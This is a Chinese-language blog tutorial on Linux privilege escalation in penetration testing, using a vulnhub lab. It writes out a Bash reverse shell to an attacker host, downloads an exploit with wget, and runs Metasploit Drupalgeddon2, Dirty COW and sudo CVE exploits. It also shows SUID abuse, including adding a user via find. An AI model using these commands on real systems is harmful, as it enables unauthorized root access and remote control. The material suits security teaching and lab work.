Linux提权全攻略博客

在渗透测试的流程中,当我们成功拿下目标主机的普通用户权限后,权限提升(提权)往往是接下来的核心目标 ------ 只有获取到最高的 root 权限,我们才能完全掌控目标系统,读取敏感信息、部署持久化控制,或是完成更深层次的渗透。

Linux 作为服务器领域最常用的操作系统,其提权方式多种多样,从内核漏洞利用到配置缺陷利用,不同的场景下我们需要选择不同的提权思路。本文将从基础的前置指令开始,一步步带你梳理 Linux 下常见的提权技巧,结合实战案例帮你掌握这些核心技能。


一、提权前置:Linux 常用基础指令

在进行提权操作之前,我们首先需要掌握 Linux 下的基础操作指令,这些指令是我们进行信息收集、命令执行的基础。我们可以将这些指令分为 12 大类,其中带重点标记的是提权过程中最常用的信息收集指令:

1. 系统信息查看类

  • uname \-a:打印所有可用的系统信息,包括内核版本,这是我们判断内核漏洞的核心依据

  • date:查看当前系统的日期、时间

2. 文件目录类

  • dir:显示当前目录文件

  • ls \-al:显示当前目录下所有文件,包括隐藏文件

  • pwd:查询当前所在的目录位置

  • cd:切换目录,cd \.\.回到上一层目录,cd /返回到根目录

  • cat 文件名:查看文件内容

  • cat \>abc\.txt:往文件中写入内容

  • cat /etc/passwd:列出系统上的所有用户,用于用户信息收集

  • cat /etc/shadow:列出系统上的所有用户密码哈希,获取到这个文件我们甚至可以直接破解 root 密码

  • more 文件名:分页显示文本文件内容

  • cp:复制文件

  • mv:移动文件

  • rm:删除文件,rm \-r 目录名可以删除目录及子目录

  • mkdir:建立目录

  • rmdir:删除空目录

  • chmod:设定档案或目录的存取权限

  • grep:在文件中查找字符串

  • diff:文件比较

  • find:文件搜寻

3. 用户帐号类

  • whoami:查看当前登录的用户,确认我们当前的权限

  • who:查询目前和你使用同一台机器的人以及登录时间地点

  • w:查看目前已登录的用户,以及他们正在做什么

  • last:查看最后登录用户的列表

  • lastlog:查看所有用户上次登录的信息

  • useradd:添加账号

  • groups:查看当前用户的用户组

  • passwd:更改密码

  • history:显示当前用户的历史命令记录,往往能从历史命令中找到管理员的密码或者敏感操作

  • su:切换用户身份,转换为指定使用者

  • 列出所有超级用户账户:grep \-v \-E \&\#34;^\#\&\#34; /etc/passwd \| awk \-F: \&\#39;$3 == 0 \{ print $1\}\&\#39;

4. 进程与程序类

  • ps:显示进程状态

  • kill:停止某个进程

  • gcc/g\+\+:编译 C/C++ 代码,很多提权的 EXP 都需要我们在目标主机上编译后才能运行

5. 网络服务类

  • telnet IP:telnet 连接对方主机

  • ftp:ftp 连接服务器

其他的驱动挂载、程序安装、压缩解压等指令,我们在提权过程中也会根据需要使用,掌握这些基础指令,是我们进行后续提权操作的基础。


二、内核漏洞提权:经典的脏牛提权实战

内核漏洞提权是 Linux 提权中最经典的思路之一,其核心原理是利用 Linux 内核本身存在的安全漏洞,通过漏洞利用代码(EXP)来获取 root 权限。其中最知名的就是 "脏牛" 漏洞,我们先从基础的信息收集开始,一步步讲解整个流程。

2.1 信息收集:确认系统版本

在进行内核漏洞利用之前,我们首先需要确认目标主机的系统版本和内核版本,以此来寻找对应的漏洞 EXP。

查看发行版本

Linux 有很多不同的发行版,比如 CentOS、Ubuntu、Debian 等,不同的发行版对应的漏洞 EXP 可能会有差异,我们可以通过以下命令查看:

复制代码
cat /etc/issue
cat /etc/*-release
查看内核版本

内核版本是我们寻找漏洞的核心依据,Linux 内核版本号由 3 组数字组成:

  • 第一组:内核主版本

  • 第二组:偶数代表稳定版本,奇数代表开发中版本

  • 第三组:错误修补的次数

我们可以通过以下命令查看:

复制代码
uname -a

比如输出:Linux jadenkali2 4\.0\.0\-kali1\-amd64 \#1 SMP Debian 4\.0\.4\-1\+kali2 \(2015\-06\-03\) x86\_64 GNU/Linux,就可以得知内核版本是 4.0.4。

拿到内核版本后,我们就可以通过searchsploit或者在线的漏洞库来寻找对应的内核漏洞 EXP,比如著名的 SecWiki 的 linux-kernel-exploits 库就收集了大量的内核漏洞利用代码。

2.2 为什么要反弹 Shell?

很多时候,我们最初拿到的只是 WebShell,也就是通过网站木马得到的命令执行权限。这种权限是非交互式的,而大部分内核漏洞的 EXP 都需要在交互式的终端下才能运行,否则即使提权成功我们也无法利用。

因此,在进行内核提权之前,我们首先需要将非交互式的 WebShell,反弹为一个交互式的 CmdShell,这个过程就叫做反弹 Shell

简单来说,反弹 Shell 就是让目标主机主动连接我们的攻击主机,然后把目标主机的命令行终端 "映射" 到我们的攻击主机上,这样我们就可以像直接登录目标主机一样,进行交互式的命令操作。

常见的反弹 Shell 方式有很多,最常用的是 Bash 反弹:

  1. 首先在我们的攻击主机上开启 NC 监听,等待目标主机的连接:
复制代码
nc -vv -l -p 8000
  1. 然后在目标主机的 WebShell 中执行以下命令,就可以把 Shell 反弹到我们的攻击主机:
复制代码
bash -i >& /dev/tcp/你的攻击机IP/8000 0>&1

执行完成后,我们的攻击主机就会收到目标主机的连接,得到一个交互式的终端。

拓展:反弹 Shell 的命令有很多种,你可以通过在线生成工具快速生成不同语言的反弹命令:反弹 Shell 命令在线生成

2.3 实战:脏牛漏洞提权

脏牛(Dirty COW)是 Linux 历史上最知名的本地提权漏洞之一,它是一个竞争条件漏洞,存在于 Linux 内核的内存子系统中,可以让普通用户获取 root 权限。

脏牛漏洞分为两个版本:

  • 脏牛 1.0:适用于内核版本低于 4.8 的系统

  • 脏牛 2.0:适用于内核版本高于 4.8 的系统

漏洞原理

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问这个页面。此时内核可能会出现竞争条件,导致两个进程都能修改这个页面,攻击者就可以利用这个缺陷,以更高的权限执行命令,完成提权。

实战步骤

我们以 vulnhub 的靶场为例,演示整个提权流程:

  1. 信息收集,找到靶机 IP 首先我们通过 nmap 扫描内网网段,找到靶机的 IP 地址:

    复制代码
     nmap 10.0.0.0/24

    通过端口扫描,我们发现靶机开放了 80 和 1898 端口,并且运行着 Drupal CMS。

  2. 利用 Drupal 漏洞获取初始权限 我们使用 Metasploit 中的 Drupalgeddon2 漏洞模块,直接获取目标主机的 WebShell:

    复制代码
     msfconsole
     search Drupal
     use exploit/unix/webapp/drupal_drupalgeddon2
     set rhosts 10.0.0.5
     set rport 1898
     run

    漏洞利用成功后,我们就得到了目标主机的会话,输入shell就可以进入命令行,然后通过 python 升级为交互式终端:

    复制代码
     python -c 'import pty; pty.spawn("/bin/bash")'

    此时我们查看当前用户,发现只是普通用户权限,需要提权。

  3. 确认内核版本,选择对应 EXP 我们执行uname \-a查看内核版本,发现目标内核版本低于 4.8,因此我们选择脏牛 1.0 的 EXP(Dirty.cpp)。

  4. 上传并编译 EXP 我们将 EXP 上传到我们的攻击主机的 Web 服务上,然后在目标主机的 /tmp 目录(临时目录,一般所有用户都有读写权限)下载这个 EXP:

    复制代码
     cd /tmp
     wget http://你的攻击机IP/Dirty.cpp

    然后我们需要编译这个 C++ 代码,因为目标主机无法直接运行源码:

    复制代码
     g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil
  5. 执行 EXP,完成提权 编译完成后,直接执行编译好的文件:

    复制代码
     ./dcow -s

    执行完成后,我们就成功提权到 root 权限了!

注意:内核漏洞提权是一把双刃剑,很多公开的内核 EXP 并不稳定,执行后可能会导致目标主机崩溃,因此内核漏洞提权一般是我们最后的选择,优先尝试其他更稳定的提权方式。


三、Sudo 提权:利用 Sudo 配置漏洞提权

除了内核漏洞,Sudo 的配置漏洞也是非常常见的提权方式。Sudo 是 Linux 下用来授权普通用户执行管理员命令的工具,管理员可以通过/etc/sudoers配置文件,允许普通用户以 root 身份执行特定的命令。

但如果 Sudo 本身存在漏洞,或者配置文件存在缺陷,普通用户就可以利用这个缺陷,直接获取 root 权限。

3.1 CVE-2023-22809 Sudo 提权漏洞

这个漏洞影响 Sudo 1.8.0~1.9.12p1 版本,利用这个漏洞,普通用户可以直接提权到 root。

利用步骤:

  1. 首先查看目标主机的 Sudo 版本,确认是否存在漏洞:

    复制代码
    sudo -V
  2. 将 EXP 脚本上传到目标主机的 /tmp 目录,然后给脚本执行权限:

    复制代码
    chmod 777 SUDO-EXP.sh
  3. 执行脚本,根据提示输入确认,就可以成功提权到 root:

    复制代码
    ./SUDO-EXP.sh

3.2 CVE-2021-3156 Baron Samedit 漏洞

这个漏洞是 2021 年披露的高危漏洞,当 sudo 通过 - s 或 - i 选项在 shell 模式下运行命令时,存在缓冲区溢出漏洞,普通用户可以直接利用这个漏洞获取 root 权限,影响的版本包括:

  • sudo 1.8.2 - 1.8.31p2

  • sudo 1.9.0 - 1.9.5p1

利用步骤:

  1. 查看 Sudo 版本,确认存在漏洞。

  2. 切换到 /tmp 目录,上传对应的 EXP 脚本。

  3. 编译 EXP:

    复制代码
    make
  4. 执行脚本,根据系统版本选择对应的选项,就可以完成提权:

    复制代码
    ./sudo-hax-me-a-sandwich 0

    执行完成后,我们就得到了 root 权限。


四、SUID 提权:利用特殊权限的提权技巧

SUID 是 Linux 下的一种特殊文件权限,设置了 SUID 权限的程序,当普通用户执行它的时候,会临时获得该程序属主的权限。比如,如果一个程序的属主是 root,并且设置了 SUID 权限,那么普通用户执行这个程序的时候,就会临时获得 root 的权限。

最典型的例子就是ping命令,ping 需要 root 权限才能打开网络套接字,所以管理员给 ping 命令设置了 SUID 权限,这样普通用户也能正常使用 ping 命令。

而攻击者就可以利用这个特性,找到那些设置了 SUID 权限、并且可以用来执行命令的程序,以此来提权。

4.1 查找 SUID 文件

首先我们需要在目标主机上,查找所有设置了 SUID 权限的文件,我们可以用以下三个命令:

复制代码
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

这些命令会列出所有 root 属主、并且设置了 SUID 权限的文件,同时把错误信息重定向到空设备,避免权限不足的错误输出干扰我们。

4.2 常见的 SUID 提权命令

找到这些文件后,我们就可以看其中有没有我们可以利用的命令,常见的可用于提权的 SUID 命令有:Nmap、Vim、find、Bash、More、Less、Nano 等。

我们来看看这些命令的利用方式:

1. Nmap 提权

比较旧版本的 Nmap(2.02 至 5.21)带有交互模式,我们可以进入交互模式后执行系统命令:

复制代码
nmap --interactive
!sh

执行完这两个命令,我们就得到了 root 的 Shell。

2. find 命令提权

如果 find 命令设置了 SUID 权限,那么通过 find 执行的命令都会以 root 权限运行:

复制代码
touch test
find test -exec whoami \;
# 甚至可以直接添加用户
find test -exec useradd niko \;
3. Vim 提权

如果 Vim 设置了 SUID 权限,那么 Vim 就会以 root 权限运行,我们可以直接读取 /etc/shadow 这样的敏感文件,甚至修改系统配置:

复制代码
vim /etc/shadow
4. Bash 提权

如果 Bash 本身设置了 SUID 权限,那么我们只需要执行:

复制代码
bash -p

就可以直接得到 root 权限的交互式 Shell。

5. Less 命令提权

如果 less 命令有 SUID 权限,我们可以用它打开文件,然后在 less 的交互模式下执行 Shell:

复制代码
less /etc/passwd
!/bin/sh

注意:SUID 提权的成功率取决于目标系统的配置,并不是所有的 SUID 文件都能用来提权,我们需要根据实际情况逐个尝试。


总结

Linux 提权是渗透测试中非常重要的一环,除了我们本文讲到的内核漏洞提权、Sudo 提权、SUID 提权之外,还有很多其他的提权方式,比如环境变量劫持、定时任务提权、配置文件泄露等等。

在实际的渗透测试中,我们的优先级应该是:

  1. 优先尝试配置类的提权方式,比如 SUID、Sudo 漏洞、定时任务等,这些方式最稳定,不会导致系统崩溃。

  2. 其次尝试软件漏洞类的提权,比如 sudo 的漏洞。

  3. 最后才考虑内核漏洞提权,因为内核漏洞的 EXP 往往不稳定,很容易导致目标主机崩溃,影响业务。

掌握这些提权技巧,能够帮助我们在渗透测试中,从一个普通的用户权限,一步步拿到系统的最高权限,完成整个渗透流程。

参考资料

相关推荐
风度前端1 小时前
阿里云宝塔面板部署https证书
linux·后端·https
Yeats_Liao1 小时前
物联网接入层技术剖析(二):epoll到底是怎么工作的
java·linux·网络·物联网·信息与通信
带带弟弟学爬虫__1 小时前
dyAPP数据采集-个人主页、发布、搜索、评论
服务器·python·算法·flutter·java-ee·django
Donk_671 小时前
什么是虚拟化
linux·运维
Shadow(⊙o⊙)1 小时前
Shell进程替换,自定义Shell解释器——字符串库函数灵活操作!
linux·运维·服务器·开发语言·c++·学习
IT大白鼠1 小时前
2019年Cloudflare全球宕机事件技术分析:正则表达式回溯失控与互联网基础设施脆弱性研究
运维·正则表达式·去中心化
funnycoffee1231 小时前
华为S5736交换机3层ECMP负载方式
linux·服务器·数据库
君如风军如风1 小时前
等保2.0安全通用要求第三级别之安全物理环境
网络安全·等级保护·等保2.0·安全合规·gb/t 22239
上海云盾-小余2 小时前
内网终端安全管控:筑牢企业内部网络入侵防火墙
服务器·网络·安全